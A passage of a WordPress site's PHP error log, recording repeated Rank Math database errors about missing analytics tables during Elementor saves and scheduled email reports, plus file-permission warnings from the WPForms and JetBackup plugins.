doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:24:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1309 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:29:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1310 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:29:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1310 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:29:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1310 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:55:27 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:55:29 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1311 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:55:30 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:55:30 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1312 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:55:31 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:55:31 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1313 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:57:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:57:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1314 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:57:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:57:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1315 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:57:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:57:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1316 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [17-May-2026 18:09:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-04-11 00:00:00' AND '2026-05-14 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [17-May-2026 18:09:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-03-08 00:00:00' AND '2026-04-10 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [17-May-2026 18:09:25 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 288 [17-May-2026 18:09:25 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 289 [28-May-2026 15:32:23 UTC] PHP Warning: file_put_contents(/home/dxgrqzvp/public_html/wp-content/uploads/wpforms/cache/email-summaries.json): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/wpforms-lite/src/Emails/InfoBlocks.php on line 279 [05-Jun-2026 19:39:13 UTC] PHP Warning: file_put_contents(/home/dxgrqzvp/public_html/wp-content/uploads/wpforms/cache/email-summaries.json): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/wpforms-lite/src/Emails/InfoBlocks.php on line 279 [05-Jun-2026 19:41:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:41:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:42:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:43:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:43:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:43:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:43:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:43:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:43:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:44:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:44:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:44:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:44:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:44:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:44:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:45:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:45:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:45:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:45:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:45:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:45:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:46:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:46:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:46:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:46:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:46:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:47:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:48:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:48:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:48:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:48:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in 